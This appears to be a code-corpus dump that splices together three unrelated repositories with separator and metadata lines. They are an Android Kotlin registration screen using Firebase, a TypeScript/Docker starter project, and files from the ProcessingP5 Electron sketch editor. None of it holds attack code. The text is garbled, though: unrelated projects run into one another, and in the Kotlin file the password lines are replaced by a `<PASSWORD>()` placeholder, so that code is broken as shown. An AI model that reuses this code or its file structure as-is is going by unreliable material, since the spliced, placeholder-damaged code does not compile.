import android.view.View //android.view-handles the screen layout, kung ano yung nakikita ng user sa screen
import android.widget.Toast //android.widget-mostly naglalaman ng UI elements, mga widget na maaaring makita ni user sa screen
import com.google.firebase.auth.AuthResult //calls the database use in this app
import kotlinx.android.synthetic.main.activity_main.* //
import com.google.firebase.auth.FirebaseAuth //calls the database use in this app
import kotlinx.android.synthetic.main.activity_registration.* //
import com.google.firebase.database.DatabaseReference //calls the database use in this app
import com.google.firebase.database.FirebaseDatabase //calls the database use in this app
import com.google.firebase.auth.FirebaseUser //calls the database use in this app
//import jdk.nashorn.internal.runtime.ECMAException.getException
//import org.junit.experimental.results.ResultMatchers.isSuccessful
import android.support.annotation.NonNull //
import android.support.v4.app.FragmentActivity //
import android.util.Log //android.util-//nagpprovide ng mga common utility methods such as date/time manipulation, base64 encoders and decoders, string and number conversion methods, and XML utilities
import com.google.android.gms.tasks.OnCompleteListener //
import com.google.android.gms.tasks.Task //
import android.app.ProgressDialog //android.app-naglalaman ng high-level classes na maaaring matawag para sa pagbuo ng Android Application model
import android.support.v4.view.GravityCompat //
import kotlinx.android.synthetic.main.activity_home.* //
class registration : AppCompatActivity() {
private var mAuth: FirebaseAuth? = null
private val TAG = "FirebaseEmailPassword"
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_registration)
mAuth = FirebaseAuth.getInstance()
}
override fun onStart() {
super.onStart()
val currentUser = mAuth!!.currentUser
if(currentUser==null){
}
else
{
}
//updateUI(currentUser)
}
fun createAccount2(view:View) {
if(lastname.text.toString().isEmpty() && firstname.text.toString().isEmpty() &&
businessAddress.text.toString().isEmpty() && emailAddress.text.toString().isEmpty() &&
tinNumber.text.toString().isEmpty() && password1.text.toString().isEmpty() && password2.text.toString().isEmpty()){
lastname.error = "Required" //if the lastname is empty, magpprompt or mag-aalert si error message
firstname.error = "Required" //if the firstname is empty, magpprompt or mag-aalert si error message
businessAddress.error = "Required" //if the Business Address is empty, magpprompt or mag-aalert si error message
emailAddress.error = "Required" //if the Email Address is empty, magpprompt or mag-aalert si error message
tinNumber.error = "Required" //if the Tin Number is empty, magpprompt or mag-aalert si error message
password1.error = "Required" //if the Password is empty, magpprompt or mag-aalert si error message
password2.error = "Required" //if the Second Password is empty, magpprompt or mag-aalert si error message
}else if(lastname.text.toString().isEmpty()){
lastname.error = "Required" //if the lastname is empty, magpprompt or mag-aalert si error message
}else if(firstname.text.toString().isEmpty()){
firstname.error = "Required" //if the firstname is empty, magpprompt or mag-aalert si error message
}else if(businessAddress.text.toString().isEmpty()){
businessAddress.error = "Required" //if the Business Address is empty, magpprompt or mag-aalert si error message
}else if(emailAddress.text.toString().isEmpty()){
emailAddress.error = "Required" //if the Email Address is empty, magpprompt or mag-aalert si error message
}else if(tinNumber.text.toString().isEmpty()){
tinNumber.error = "Required" //if the Tin Number is empty, magpprompt or mag-aalert si error message
}else if(password1.text.toString().isEmpty()){
password1.error = "Required" //if the Password is empty, magpprompt or mag-aalert si error message
}else if(password2.text.toString().isEmpty()){
password2.error = "Required" //if the Second Password is empty, magpprompt or mag-aalert si error message
} else if(password1.text.toString().length<6){
password1.error = "Password should be atleast 6 characters and above !" //kapag kulang ang characters na ininput ni user, mag-aalert ang error message
password1.requestFocus()
}else if(!password1.text.toString().contentEquals(password2.text.toString())){
password2.error = "Invalid input ! Password mismatch" //kapag mali ang inilagay ni user na password, ang system ay magpprompt ng "Invalid Input!"
password2.requestFocus()
}else{
val prog= ProgressDialog.show(this,"Please Wait .. ","Processing..",true) //kapag walang maling input si user, a progress dialog will pop
val email = emailAddress.text.toString()
val password = <PASSWORD>()
val lname= lastname.text.toString()
val fname =firstname.text.toString()
val badd = businessAddress.text.toString()
val tin = tinNumber.text.toString()
if(!lastname.text.toString().isEmpty() && !firstname.text.toString().isEmpty() &&
!businessAddress.text.toString().isEmpty() && !emailAddress.text.toString().isEmpty() &&
!tinNumber.text.toString().isEmpty() && !password1.text.toString().isEmpty() && !password2.text.toString().isEmpty()){
mAuth!!.createUserWithEmailAndPassword(email, password)
.addOnCompleteListener(this) { task ->
prog.dismiss()
if (task.isSuccessful) {
Log.e(TAG, "createAccount: Success!")
// update UI with the signed-in user's information
///
val client =info1(lastname.text.toString().trim(),firstname.text.toString().trim(),businessAddress.text.toString().trim(),
tinNumber.text.toString().trim())
FirebaseDatabase.getInstance().getReference("Client").child(FirebaseAuth.getInstance().currentUser!!.uid).setValue(client)
FirebaseAuth.getInstance().currentUser!!.sendEmailVerification()
Toast.makeText(applicationContext,"Successfully save !",Toast.LENGTH_LONG).show()
clearInfo()
Toast.makeText(this,"Check your email for verification! ",Toast.LENGTH_LONG).show()
finish()
//
} else {
Log.e(TAG, "createAccount: Fail!", task.exception)
Toast.makeText(applicationContext, "Check Internet Connection !", Toast.LENGTH_SHORT).show()
// updateUI(null)
}
}
}else
{
}
}// check inputs
}
//on the above condition, pinapakita dito na kapag mali or walang input si user, they can't proceed sa susunod na parte ng registration
//yun ay ang pag-verify ni user ng account nya sa email nya
//a verification code will be sent kay user once na maayos nyang naisagawa ang pagreregister.
fun createAccount(view: View){
// mAuth.createUserWithEmailAndPassword(emailAddress.text.toString().trim(), password1.text.toString().trim())
if(!lastname.text.toString().isEmpty() && !firstname.text.toString().isEmpty() &&
!businessAddress.text.toString().isEmpty() && !emailAddress.text.toString().isEmpty() &&
!tinNumber.text.toString().isEmpty() && !password1.text.toString().isEmpty() && !password2.text.toString().isEmpty()){
//mAuth.createUserWithEmailAndPassword(emailAddress.text.toString().trim(),password1.text.toString().trim()).addOnCompleteListener {new onCompleteListener<AuthResult>
//}
val email= emailAddress.text.toString().trim()
val password = <PASSWORD>()
mAuth!!.createUserWithEmailAndPassword(email, password)
.addOnCompleteListener(this) { task ->
if (task.isSuccessful) {
Log.e(TAG, "createAccount: Success!")
// update UI with the signed-in user's information
val user = mAuth!!.currentUser
// updateUI(user)
} else {
Log.e(TAG, "createAccount: Fail!", task.exception)
Toast.makeText(applicationContext, "Authentication failed!", Toast.LENGTH_SHORT).show()
// updateUI(null)
}
}
Toast.makeText(applicationContext,"Successfully save !",Toast.LENGTH_LONG).show()
clearInfo()
}
}
fun checkInputs(){
if(lastname.text.toString().isEmpty() && firstname.text.toString().isEmpty() &&
businessAddress.text.toString().isEmpty() && emailAddress.text.toString().isEmpty() &&
tinNumber.text.toString().isEmpty() && password1.text.toString().isEmpty() && password2.text.toString().isEmpty()){
lastname.error = "Required" //if the last name is empty, magpprompt or mag-aalert si error message
firstname.error = "Required" //if the first name is empty, magpprompt or mag-aalert si error message
businessAddress.error = "Required" //if the Business Address is empty, magpprompt or mag-aalert si error message
emailAddress.error = "Required" //if the Email Adress is empty, magpprompt or mag-aalert si error message
tinNumber.error = "Required" //if the Tin Number is empty, magpprompt or mag-aalert si error message
password1.error = "Required" //if the Password is empty, magpprompt or mag-aalert si error message
password2.error = "Required" //if the Second Password is empty, magpprompt or mag-aalert si error message
}else if(lastname.text.toString().isEmpty()){
lastname.error = "Required" //if the last name is empty, magpprompt or mag-aalert si error message
}else if(firstname.text.toString().isEmpty()){
firstname.error = "Required" //if the first name is empty, magpprompt or mag-aalert si error message
}else if(businessAddress.text.toString().isEmpty()){
businessAddress.error = "Required" //if the Business Address is empty, magpprompt or mag-aalert si error message
}else if(emailAddress.text.toString().isEmpty()){
emailAddress.error = "Required" //if the Email Adress is empty, magpprompt or mag-aalert si error message
}else if(tinNumber.text.toString().isEmpty()){
tinNumber.error = "Required" //if the Tin Number is empty, magpprompt or mag-aalert si error message
}else if(password1.text.toString().isEmpty()){
password1.error = "Required" //if the Password is empty, magpprompt or mag-aalert si error message
}else if(password2.text.toString().isEmpty()){
password2.error = "Required" //if the Second Password is empty, magpprompt or mag-aalert si error message
} else if(password1.text.toString().length<6){
password1.error = "Password should be atleast 6 characters and above !" //kapag ang length ng characters na ininput ni user ay hindi umabot sa 6 characters, magpprompt or mag-aalert si error message
password1.requestFocus() //once na nag-error at after lumabas ni error message, magsstay lang ang focus sa current editText
//hindi na kelangan pang magpipindot-pindot ni user para lang ma-access muli yung ffill-upan
}else if(!password1.text.toString().contentEquals(password2.text.toString())){
password2.error = "Invalid input ! Password mismatch"//kapag hindi kaparehas ng naunang password, magpprompt or mag-aalert si error message
password2.requestFocus() //once na nag-error at after lumabas ni error message, magsstay lang ang focus sa current editText
//hindi na kelangan pang magpipindot-pindot ni user para lang ma-access muli yung ffill-upan
}
//on the above condition, pinapakita dito na kapag mali or walang input si user, they can't proceed sa susunod na parte ng registration
//yun ay ang pag-verify ni user ng account nya sa email nya
//a verification code will be sent kay user once na maayos nyang naisagawa ang pagreregister.
}
fun clearInfo(){ //ma-clear ang mga current information na nakalagay sa input area
lastname.text.clear() //clears the current lastname
firstname.text.clear() //clears the current firstname
businessAddress.text.clear() //clears the current Business Address
emailAddress.text.clear() //clears the current Email Address
tinNumber.text.clear() //clears the current Tin Number
password1.text.clear() //clears the current password
password2.text.clear() //clears the current second password
}
}
<file_sep>package com.erby.casestudy
//a package that holds all the variables for the users information
class info(val id:String, val lastname:String , val firsname:String , val bAdd : String, val email1: String , val tinn: String , val pass:String)
class info1(val lastname:String , val firsname:String , val businessAddress : String, val tinNumber: String )
| db5a4fb225ed15dab241964ea0314f65ef2dfc47 | [
"Kotlin"
] | 3 | Kotlin | estrellamjane/CPA_LINK | 5e623738d86924c4f2c8268800170b5ca6410f33 | 079e58601a417ae368ab30fdd0b70d4bef5a6435 |
refs/heads/main | <repo_name>ZhuYanSu/ts-nodejs-docker<file_sep>/README.md
# ts-nodejs-docker
## Goal
1. 練習使用 docker multi-stage build 搭建 hot-reload docker 開發環境 + 上線環境
1. 使用技術
- docker
- dockerfile
- docker-compose
- typescript
- nodejs
- nodemon
- make
> 參考: [Setting up Docker + TypeScript + Node (Hot reloading code changes in a running container)](https://dev.to/dariansampare/setting-up-docker-typescript-node-hot-reloading-code-changes-in-a-running-container-2b2f)
## Steps
1. Install packages
`npm i express`
1. Install dependency packages
`npm i -D typescript nodemon ts-node dotenv @types/express`
1. Init typescript project and modify `tsconfig.json`
`npx tsc -init`
1. Write `nodemon.json`
- specify rules for `.ts` files
1. Write index.ts (start a simple express server)
1. Write `Dockerfile`
- multi-stage build
- two stage: `base` and `production`
- no commands to start server
- use `docker-compose.yml` to start server
1. Write `docker-compose.yml`
- specify command to start server with nodemon
- mount `src/` and `nodemon.json`
- expose express running port
1. Write `docker-compose.prod.yml`
- overwrite `build.target` and `build.command` in `docker-compose.yml`
1. Build image with docker-compose command
`docker-compose build`
1. Start services with docker-compose command
1. Create `Makefile` to simplify commands
- e.g., run `make up` to start dev
## Notes
- Windows 使用者執行 `nodemon` 時要加上 `-L` (--legacy-watch) 選項才可正常運作
- [issue](https://github.com/remy/nodemon/issues/1447)
- docker multi-stage
- 當 `docker-compose.yml` 中 `build.target` 為 `base` 時, 表示運作時只執行到 `FROM base as production` 前一行
- 當 `docker-compose.prod.yml` 中 `build.target` 為 `production` 時, 表示 dockerfile 全部內容都有執行
<file_sep>/src/index.ts
import "dotenv/config";
import express from "express";
const PORT = process.env.PORT;
if (!PORT) {
console.error(`[*] Failed to start server on port ${PORT}`);
} else {
const app = express();
app.listen(PORT, () => {
console.log(`[*] server running on port ${PORT}`);
});
}
| 5135599e5fe1859eddcfe9f0b70e7020ea76a2b9 | [
"Markdown",
"TypeScript"
] | 2 | Markdown | ZhuYanSu/ts-nodejs-docker | dc865af0e02d8ed735af0b05b49075b9eb1d1194 | 5928f8aa3e543789026d184b3cb6c12e9228400c |
refs/heads/master | <file_sep>rm -rf dist/ .cache/ release/ node_modules
yarn --ignore-engines
./node_modules/.bin/electron-builder install-app-deps
./node_modules/.bin/parcel build node_modules/monaco-editor/esm/vs/language/typescript/ts.worker.js --no-source-maps
./node_modules/.bin/parcel build node_modules/monaco-editor/esm/vs/editor/editor.worker.js --no-source-maps
./node_modules/.bin/parcel build ./src/main/index.html --public-url ./
echo Copying icons
mkdir -p dist/icons
cp assets/icons/png/* dist/icons/
cp assets/icons/win/* dist/icons/
cp assets/icons/mac/* dist/icons/
DEBUG=electron-builder GH_TOKEN=`cat token` \
./node_modules/.bin/electron-builder build \
--linux AppImage deb \
--mac dmg \
--win \
--publish always
<file_sep>const electron = require('electron');
const BrowserWindow = electron.BrowserWindow;
const path = require('path');
const url = require('url');
const windowStateKeeper = require('./window-state-manager');
module.exports = {
initialise
};
function initialise() {
const monitor = electron.screen.getPrimaryDisplay();
const mainWindowState = windowStateKeeper({
file: 'window-state-main.json',
defaultWidth: monitor.size.width / 2,
defaultHeight: monitor.size.height,
});
mainWindow = mainWindowState.manage(new BrowserWindow({
show: false,
x: mainWindowState.x === undefined ? 0 : mainWindowState.x,
y: mainWindowState.y === undefined ? 0 : mainWindowState.y,
width: mainWindowState.width,
height: mainWindowState.height,
icon: path.join(__dirname, '../../assets/icons/png/64x64.png'),
webPreferences: {
webSecurity: true,
nodeIntegration: true,
},
}));
const startUrl = process.env.ELECTRON_START_URL || url.format({
pathname: path.join(__dirname, '../../dist/index.html'),
protocol: 'file',
slashes: true,
});
mainWindow.loadURL(startUrl);
mainWindow.on('page-title-updated', e => {
// alow the app to change the title
e.preventDefault();
});
mainWindow.once('ready-to-show', () => mainWindow.show());
mainWindow.once('closed', () => electron.app.quit());
return mainWindow;
}
<file_sep>const {
Menu,
app,
} = require('electron');
// const autoUpdater = require('./auto-updater');
module.exports = {
initialise
};
function initialise(mainWindow) {
const isMac = process.platform === 'darwin';
const template = [{
label: 'ProcessingP5',
submenu: [{
label: 'New Sketch',
accelerator: 'CmdOrCtrl+Shift+N',
click: () => mainWindow.webContents.send('new-sketch'),
}, {
label: 'Open Sketch',
accelerator: 'CmdOrCtrl+O',
click: () => mainWindow.webContents.send('open-sketch'),
}, {
type: 'separator'
}, {
label: 'Preferences',
accelerator: 'CmdOrCtrl+,',
click: () => mainWindow.webContents.send('open-preferences'),
}, {
type: 'separator'
}, {
label: 'Quit',
accelerator: 'CmdOrCtrl+Q',
click: () => app.quit(),
}]
}, {
label: 'Sketch',
submenu: [{
label: 'Run',
accelerator: 'CmdOrCtrl+R',
click: () => mainWindow.webContents.send('reload'),
}, {
type: 'separator'
}, {
label: 'New File',
accelerator: 'CmdOrCtrl+N',
click: () => mainWindow.webContents.send('new-file'),
}, {
type: 'separator'
}, {
label: 'Next File',
accelerator: 'Ctrl+Tab',
click: () => mainWindow.webContents.send('next-file'),
}, {
label: 'Previous File',
accelerator: 'Ctrl+Shift+Tab',
click: () => mainWindow.webContents.send('previous-file'),
}, {
type: 'separator'
}, {
label: 'Import File',
click: () => mainWindow.webContents.send('import-file'),
}, {
label: 'Import Library',
click: () => mainWindow.webContents.send('import-library'),
}, {
type: 'separator'
}, {
label: 'Rename Sketch',
accelerator: 'CmdOrCtrl+Shift+S',
click: () => mainWindow.webContents.send('rename-sketch'),
}, {
type: 'separator'
}, {
label: 'Export',
click: () => mainWindow.webContents.send('export-sketch'),
}, {
type: 'separator'
}, {
label: 'Open sketch folder',
click: () => mainWindow.webContents.send('open-sketch-directory'),
}]
}, {
label: 'View',
submenu: [{
label: 'Toggle Sidebar',
accelerator: isMac ? 'Ctrl+/' : 'Alt+/',
click: () => mainWindow.webContents.send('toggle-sidebar'),
}, {
label: 'Toggle developer tools',
accelerator: 'CmdOrCtrl+Shift+J',
click: () => mainWindow.webContents.send('toggle-dev-tools'),
}, {
type: 'separator'
}, {
label: 'Toggle Full Screen',
accelerator: 'CmdOrCtrl+Shift+F',
click: () => mainWindow.webContents.send('toggle-full-screen'),
}, {
label: 'Exit Full Screen',
accelerator: 'Esc',
click: () => mainWindow.webContents.send('exit-full-screen'),
}, {
label: 'Auto-arrange windows',
click: () => mainWindow.webContents.send('auto-arrange-windows'),
}, {
type: 'separator'
}, {
label: 'Increase font size',
accelerator: 'CmdOrCtrl+Shift+=',
click: () => mainWindow.webContents.send('font-size-increase'),
}, {
label: 'Decrease font size',
accelerator: 'CmdOrCtrl+Shift+-',
click: () => mainWindow.webContents.send('font-size-decrease'),
}, {
label: 'Reset font size',
accelerator: 'CmdOrCtrl+Shift+0',
click: () => mainWindow.webContents.send('font-size-reset'),
}],
}, ];
if (!isMac) {
// view menu. this option only makes sense on linux and windows
template[2].submenu.push({
type: 'separator'
}, {
label: 'Auto-hide menu bar',
click: () => mainWindow.webContents.send('auto-hide-menu-bar'),
});
} else {
// cmd+c/v does not work without having these on the menu
template.push({
label: 'Edit',
submenu: [{
role: 'undo'
}, {
role: 'redo'
}, {
type: 'separator'
}, {
role: 'cut'
}, {
role: 'copy'
}, {
role: 'paste'
}, {
role: 'delete'
}, {
role: 'selectall'
}]
})
}
// "secret" menu with no label so that we can open
// the developer tools in the main window. without
// a menu item is much harder to add an app-wide
// hotkey. plus it's an easter egg or something.
template.push({
label: '',
submenu: [{
label: 'Developer Tools',
accelerator: 'F12',
click: () => mainWindow.webContents.toggleDevTools(),
}, ]
});
Menu.setApplicationMenu(Menu.buildFromTemplate(template));
}
<file_sep>import { expect } from 'chai';
import 'mocha';
import * as recast from 'recast';
import { codeHasChanged, getVars, parseCode } from '../main/lib/code-parser';
const format = (s: string) => recast.prettyPrint(recast.parse(s)).toString();
const parse = (code: string) => parseCode('a', code);
const hasChanged = (code: string) => codeHasChanged('a', code);
describe('code-parser', () => {
describe('parseCode', () => {
it('parses the code with inline global variables', () => {
expect(format(parse(`
let myNumber = 1;
fn(myNumber);
function fn(n) {
let v = 2;
console.log(v + n + myNumber);
}
`))).to.equal(format(`
__AllVars["a2"] = 1;
__AllVars["a6"] = 2;
let myNumber = __AllVars.a2;
fn(__AllVars.a2);
function fn(n) {
let v = __AllVars.a6;
console.log(v + n + __AllVars.a2);
}
`));
});
});
describe('getVars', () => {
describe('with sending the current line of code', () => {
it(`returns only that var and if it is a global assignment,
and it does not send any global assignment vars if not`, () => {
const code = `let a = 1;
fill(255);
let b = a + 2;
function draw() {
let c = 1;
fill(c);
}
`;
const allVarsNoGlobals = {
a2: 255,
a6: 1,
};
// changing a global
expect(getVars(code, 1)).to.deep.eq({
a1: 1,
});
// not changing a global
expect(getVars(code, 2)).to.deep.eq(allVarsNoGlobals);
// changing a global
expect(getVars(code, 3)).to.deep.eq({
a3: 2,
});
// not changing a global
expect(getVars(code, undefined)).to.deep.eq(allVarsNoGlobals);
});
});
it('hashes variables', () => {
expect(getVars('function fn() { let a = 1; }')).to.deep.eq({
a1: 1,
});
expect(getVars('function fn() { const a = 1; }')).to.deep.eq({
a1: 1,
});
expect(getVars('function fn() { const a = 1; const b = 1; }')).to.deep.eq({
a1: 1,
a1_1: 1,
});
});
it('hashes simple method calls', () => {
expect(getVars('m(1);')).to.deep.eq({
a1: 1,
});
expect(getVars('m(1, 1);')).to.deep.eq({
a1: 1,
a1_1: 1,
});
expect(getVars('m(1,\n1);')).to.deep.eq({
a1: 1,
a2: 1,
});
expect(getVars('m(1,\n\t\t1);')).to.deep.eq({
a1: 1,
a2: 1,
});
});
it('hashes nested method calls', () => {
expect(getVars('m(1, m2(1));')).to.deep.eq({
a1: 1,
a1_1: 1,
});
expect(getVars('m(1, m(1));')).to.deep.eq({
a1: 1,
a1_1: 1,
});
});
});
describe('codeHasChanged', () => {
it('detects if the code has changed', () => {
parse(`
let a = 1;
`);
expect(hasChanged(`
let a = 1;
`)).to.be.false;
parse(`
let a = 1;
`);
expect(hasChanged(`
let b = 1;
`)).to.be.true;
parse(`
console.log('a');
`);
expect(hasChanged(`
console.log('a', 'b');
`)).to.be.true;
});
it('ignores formatting changes', () => {
parse(`
let a = 1;
console.log(a);
`);
expect(hasChanged(`
let a = 1;
console.log(a);
`)).to.be.false;
});
it('ignores literal value changes', () => {
parse(`
let a = 1;
console.log('a');
`);
expect(hasChanged(`
let a = 11;
console.log('b');
`)).to.be.false;
});
});
});
<file_sep>import * as parser from './code-parser';
import * as fileSystem from './file-system';
import * as settings from './settings';
const remote = window.require('electron').remote;
const fs = remote.require('fs');
const path = remote.require('path');
const p5scripts = [
`${remote.app.getAppPath()}/assets/p5.js`,
`${remote.app.getAppPath()}/assets/p5.sound.js`,
];
const indexTemplate = fs
.readFileSync(`${remote.app.getAppPath()}/assets/index.html`)
.toString();
export function buildIndexHtml(): void {
fileSystem.cleanUpGeneratedFiles();
const currentPath = settings.getCurrentSketchPath();
const libraryPath =
path.join(settings.getBaseSketchesPath(), fileSystem.libraryDirectory);
const libraryFiles = settings.loadSketchLibraries().map(f =>
path.join(libraryPath, f));
const dependencies = p5scripts.concat(libraryFiles)
.map(s => `<script src="file://${s}"></script>`);
const scriptFiles = fileSystem.currentSketchFileNames()
.filter(isScriptFile);
const sketchScripts = settings.getHotCodeReload()
? scriptFiles.map(scriptForHotReload(currentPath))
: scriptFiles.map(s => `<script src="${s}"></script>`);
const src = indexTemplate
.replace('$scripts', dependencies.concat(sketchScripts).join('\n'))
.replace('$title', sketchName());
fs.writeFileSync(
path.join(currentPath, fileSystem.indexFile),
src);
}
/**
* Given a sketch's file, parses the contents using the code-parser
* and writes the parsed code to ('.' + originalFileName).
*
* By starting the file name with a '.', it's going to be hidden for
* most users and we can serve those files using our local file server.
*/
const scriptForHotReload = (currentPath: string) =>
(fileName: string): string => {
const originalFilePath = path.join(currentPath, fileName);
const code = fs.readFileSync(originalFilePath).toString();
const parsedFileName = `.${fileName}`;
const parsedCode = parser.parseCode(fileName, code);
const parsedFilePath = path.join(currentPath, parsedFileName);
fs.writeFileSync(parsedFilePath, parsedCode);
return `<script src="${parsedFileName}"></script>`;
};
export function exportSketch(directory: string): void {
const p5scripts = [
`${remote.app.getAppPath()}/assets/p5.js`,
// the sound library breaks the sketch bundle running as a file
//`${remote.app.getAppPath()}/assets/p5.sound.js`,
];
const currentSketchScripts =
(fs.readdirSync(settings.getCurrentSketchPath()) as string[])
.filter(isScriptFile)
.map(s => path.join(settings.getCurrentSketchPath(), s));
const scripts =
p5scripts.concat(currentSketchScripts)
.map(f => fs.readFileSync(f).toString())
.join('\n');
const src = `
<html>
<head>
<title>${sketchName()}</title>
<style>html, body { margin: 0; padding: 0; }</style>
<script>
${scripts}
</script>
</head>
<body></body>
</html>
`.split('\n');
const stream = fs.createWriteStream(
path.join(directory, `${sketchName()}.html`),
{ flags: 'w' });
for (let line of src) {
stream.write(line + '\n');
}
}
function sketchName(): string {
return path.basename(settings.getCurrentSketchPath());
}
export function isScriptFile(s: string): boolean {
return s.endsWith('.js') && !s.startsWith('.');
}
<file_sep># ProcessingP5
A marriage between [Processing IDE](https://processing.org/) and [p5.js](https://p5js.org/).
This is a ready-to-use editor to create p5.js sketches, without any other dependencies to download and install.
You open it for the first time and start playing.
It is primarily meant for artists, designers, and people learning programming for the first time.
Having said that, I don't fall into any of those categories, but I use it for my day-to-day sketching.
It looks like this:

_(showing Light and Dark modes)_
## Features
The editor is powered by the wonderful [Monaco Editor](https://microsoft.github.io/monaco-editor/), and the sketches run [p5.js](https://p5js.org/) by the legendary <NAME>.
Together with all the features from the Monaco Editor itself, it supports:
* Auto-complete for the p5 API
* Live reloading without refresh (as an option)
* Dark & Light mode
* Importing other libraries and files
* Exporting the sketch to a stand-alone html file (other formats to come)
# Development
The code is currently a bit messy, as it was a fever project.
To run locally, run these once:
```
yarn --ignore-engines
yarn build
```
And then:
```
yarn server
# and on another session
yarn start
```
# Releasing it
Create a file called `token` in the root, it must have a github
access token with the full `repo` permission. Then:
```./ship.sh```
Note: creating the .dmg file only works when running on a mac.
<file_sep>const {
ipcMain
} = require('electron');
const chokidar = require('chokidar');
module.exports = {
initialise
};
function initialise(mainWindow) {
let watcher;
ipcMain.on('watch-files', (_, directory) => {
console.log('Watching ' + directory);
watcher = chokidar.watch(directory, {
// ignore files that start with a `.`
ignored: /\.(.*)\..*$/
}).on('all', (event, path) => {
console.log(event, path);
switch (event) {
case 'change':
mainWindow.webContents.send('file-changed', path);
break;
default:
mainWindow.webContents.send('reload-files', path);
}
});
});
ipcMain.on('unwatch-files', async () => {
console.log('Unwatching all files');
await watcher && watcher.close();
});
}
<file_sep>import * as settings from './settings';
const remote = window.require('electron').remote;
const fs = remote.require('fs');
const path = remote.require('path');
export const indexFile = '.index.html';
export const libraryDirectory = 'library';
const currentSketchPath = () => settings.getCurrentSketchPath();
const defaultSketchContent = `function setup() {
createCanvas(windowWidth, windowHeight);
}
function draw() {
rect(10, 10, 100, 100);
}
`;
let currentFile = settings.sketchMainFile;
export function currentSketchFileNames(): string[] {
return fs.readdirSync(currentSketchPath()) as string[];
}
export function readSketchMainFile(): string {
return readSketchFile(settings.sketchMainFile);
}
export function readSketchFile(f: string): string {
currentFile = f;
return fs
.readFileSync(path.join(currentSketchPath(), f))
.toString();
}
export function writeCurrentFile(content: string): void {
fs.writeFileSync(
path.join(currentSketchPath(), currentFile),
content);
}
export function p5TypeDefinitions(): string {
const basePath = remote.app.getAppPath();
return fs.readFileSync(`${basePath}/assets/p5.d.ts`).toString();
}
export function currentOpenFile(): string {
return currentFile;
}
export function deleteSketchFile(f: string): boolean {
try {
remote.shell.moveItemToTrash(path.join(currentSketchPath(), f));
return true;
} catch (err) {
alert(err);
return false;
}
}
export function renameSketchFile(
orignalName: string,
newName: string): boolean {
try {
fs.renameSync(
path.join(currentSketchPath(), orignalName),
path.join(currentSketchPath(), newName));
return true;
} catch (err) {
alert(err);
return false;
}
}
export function createSketchFile(newName: string): boolean {
try {
fs.writeFileSync(path.join(currentSketchPath(), newName), '');
return true;
} catch (err) {
alert(err);
return false;
}
}
export function createNewSketch(name: string): boolean {
try {
const newPath = path.join(
settings.getBaseSketchesPath(),
name);
fs.mkdirSync(newPath);
fs.writeFileSync(
path.join(newPath, settings.sketchMainFile),
defaultSketchContent);
settings.setCurrentSketchPath(newPath);
return true;
} catch (err) {
alert(err);
return false;
}
}
export function renameSketch(name: string): boolean {
try {
const newPath = path.join(
settings.getBaseSketchesPath(),
name);
fs.renameSync(settings.getCurrentSketchPath(), newPath);
settings.setCurrentSketchPath(newPath);
return true;
} catch (err) {
alert(err);
return false;
}
}
export function openSketch(name: string): boolean {
try {
// clean up generated files on current sketch
cleanUpGeneratedFiles(settings.getCurrentSketchPath());
const newPath = path.join(
settings.getBaseSketchesPath(),
name);
settings.setCurrentSketchPath(newPath);
// clean up generated files on opened sketch
cleanUpGeneratedFiles(newPath);
return true;
} catch (err) {
alert(err);
return false;
}
}
export function cleanUpGeneratedFiles(dir?: string): void {
dir = dir ?? settings.getCurrentSketchPath();
try {
(fs.readdirSync(dir) as string[]).forEach(f => {
if (f.startsWith('.')) {
fs.unlinkSync(path.join(dir, f));
}
});
} catch (error) {
console.error(error);
}
}
export function listSketches(): string[] {
return (fs.readdirSync(settings.getBaseSketchesPath()) as string[])
.filter(f => f !== libraryDirectory);
}
export function copyIntoSketch(file: string): [true, string] | [false, null] {
const fileName = path.basename(file);
const destination = path.join(
settings.getCurrentSketchPath(),
fileName);
try {
fs.copyFileSync(file, destination);
return [true, fileName];
} catch (error) {
alert(error);
return [false, null];
}
}
export function copyIntoLibrary(file: string): [true, string] | [false, null] {
const fileName = path.basename(file);
const librariesPath = path.join(
settings.getBaseSketchesPath(),
libraryDirectory);
fs.mkdirSync(librariesPath, { recursive: true });
const destination = path.join(librariesPath, fileName);
try {
fs.copyFileSync(file, destination);
return [true, fileName];
} catch (error) {
alert(error);
return [false, null];
}
}
<file_sep>import * as fileSystem from './file-system';
const remote = window.require('electron').remote;
const settings = remote.require('electron-settings');
const path = remote.require('path');
const fs = remote.require('fs');
const app = remote.app;
export const sketchMainFile = 'main.js';
const veryFirstSketchName = 'my-first-sketch/';
const defaultSketchesWorkspaceName = 'ProcessingP5/';
const keys = {
baseSketchesPath: 'base-sketches-path',
currentSketchPath: 'current-sketch-path',
darkMode: 'dark-mode',
showLineNumbers: 'show-line-numbers',
runMode: 'run-mode',
fontSize: 'font-size',
hotCodeReload: 'hot-code-reload',
sidebarOpen: 'sidebar-open',
librariesPerSketch: 'libraries-per-sketck',
};
// oh my this is a hot mess
export function initSettings(): void {
// useful for dev mode
// settings.deleteAll();
// first time opening the app
if (!settings.has(keys.baseSketchesPath)) {
const basePath = path
.join(app.getPath('documents'), defaultSketchesWorkspaceName) as string;
try {
fs.mkdirSync(basePath, {
recursive: true
});
settings.set(keys.baseSketchesPath, basePath);
} catch (e) {
// the configuration might have disappeared but the
// directories still exist
console.error(e);
}
}
const currentSketch = getCurrentSketchPath();
// the previously open sketch doesn't exist anymore
if (!fs.existsSync(currentSketch)) {
// make sure the directory exists
fs.mkdirSync(getBaseSketchesPath(), {
recursive: true
});
const sketches = fs.readdirSync(getBaseSketchesPath());
// open the first available sketch
if (sketches.length > 0) {
setCurrentSketchPath(
path.join(getBaseSketchesPath(), sketches[0]));
} else {
fileSystem.createNewSketch(veryFirstSketchName);
}
}
}
export function getBaseSketchesPath(): string {
return settings.get(keys.baseSketchesPath);
}
export function getCurrentSketchPath(): string {
return settings.get(keys.currentSketchPath);
}
export function getCurrentSketchName(): string {
return path.basename(getCurrentSketchPath());
}
export function setCurrentSketchPath(newPath: string): void {
settings.set(keys.currentSketchPath, newPath);
}
export function setBaseSketchesPath(newPath: string): void {
settings.set(keys.baseSketchesPath, newPath);
}
export function getDarkMode(): boolean {
return settings.get(keys.darkMode) ?? true;
}
export function setDarkMode(darkMode: boolean): void {
settings.set(keys.darkMode, darkMode);
}
export type RunModes = 'keystroke' | 'manual';
export function getRunMode(): RunModes {
return settings.get(keys.runMode) ?? 'manual';
}
export function setRunMode(runMode: RunModes): void {
settings.set(keys.runMode, runMode);
}
export const defaultFontSize = 16;
export function getFontSize(): number {
return settings.get(keys.fontSize) ?? defaultFontSize;
}
